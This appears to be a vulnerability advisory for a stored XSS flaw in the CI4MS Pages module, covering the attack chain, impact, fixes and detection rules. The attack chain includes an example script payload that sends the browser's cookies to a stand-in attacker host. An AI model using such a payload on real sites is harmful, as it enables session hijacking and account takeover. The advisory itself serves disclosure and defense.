CI4MS Stored XSS Vulnerability in Pages Module
A stored XSS vulnerability (CVE-2026-45270) exists in the Pages module of CI4MS due to improper sanitization of page content, allowing an attacker with `pages.create` permissions to inject malicious code and escalate privileges if an administrator views the page.
A stored XSS vulnerability exists within the Pages module of the CI4MS application, specifically affecting versions 0.31.8.0 and earlier. This vulnerability arises from the failure to properly sanitize user-supplied content within the Pages module’s backend. The html_purify validation rule is registered, but the raw, unpurified POST data is directly persisted into the pages_langs.content database column. The public renderer for pages emits this unsanitized content without proper escaping, leading to XSS. An attacker with content author privileges (pages.create) can inject arbitrary JavaScript code, which executes when a user, including an administrator, views the affected page. Furthermore, pages can be promoted to the site’s home page, broadening the attack surface to all visitors.
Attack Chain
- An attacker authenticates to the CI4MS backend with
pages.createorpages.updatepermissions. - The attacker crafts a malicious payload containing JavaScript code (e.g.,
<script>fetch("https://attacker.example/?c="+encodeURIComponent(document.cookie))</script>). - The attacker creates or updates a page via the
/backend/pages/createor/backend/pages/updateendpoints, injecting the malicious payload into thelang[en][content]field. - The application’s
Pagescontroller registers thehtml_purifyvalidation rule, but fails to apply the sanitized result to the database. - The raw, unsanitized payload is stored in the
pages_langs.contentcolumn in the database. - A user visits the public URL of the created page (e.g.,
/poc-page-xss), triggering theHome::index()controller. - The
Home::index()controller retrieves the unsanitized content from the database. - The template at
app/Views/templates/default/pages.phpemits the raw content via<?php echo $pageInfo->content ?>without escaping, causing the JavaScript code to execute in the user’s browser.
Impact
Successful exploitation allows an attacker to execute arbitrary JavaScript code in the browser of any visitor to the compromised page. If an administrator visits the page, their session cookie can be exfiltrated, leading to complete account takeover. The attacker requires only pages.create permissions, which are typically assigned to non-admin content authors, enabling privilege escalation. By setting the malicious page as the home page, the attacker can ensure that every visitor to the site is potentially compromised.
Recommendation
- Apply the vendor-provided fix by calling
CustomRules::sanitizeHtml()before persisting the content inmodules/Pages/Controllers/Pages.php(see snippet in advisory). - Deploy the Sigma rule “Detect CI4MS Pages Module Stored XSS Attempt via HTTP POST” to identify potential exploitation attempts in web server logs.
- Review and update other modules using the
html_purifyvalidation rule to ensure proper sanitization. - Enable output escaping for fields not intended to contain raw HTML to provide defense-in-depth.
- Monitor web server logs for requests to
/backend/pages/createand/backend/pages/updatewith suspicious content in thelang[en][content]parameter using the Sigma rule “Detect CI4MS Pages Module Stored XSS Payload in HTTP POST Data”.
Detection coverage 2
Detect CI4MS Pages Module Stored XSS Attempt via HTTP POST
highDetects CVE-2026-45270 exploitation — attempts to exploit the CI4MS Pages module stored XSS vulnerability via HTTP POST requests.
Detect CI4MS Pages Module Stored XSS Payload in HTTP POST Data
mediumDetects CVE-2026-45270 exploitation — identifies potential stored XSS payloads being submitted to the CI4MS Pages module via HTTP POST requests.
Detection queries are available on the platform. Get full rules →
Indicators of compromise
1
url
| Type | Value |
|---|---|
| url | https://attacker.example/?c= |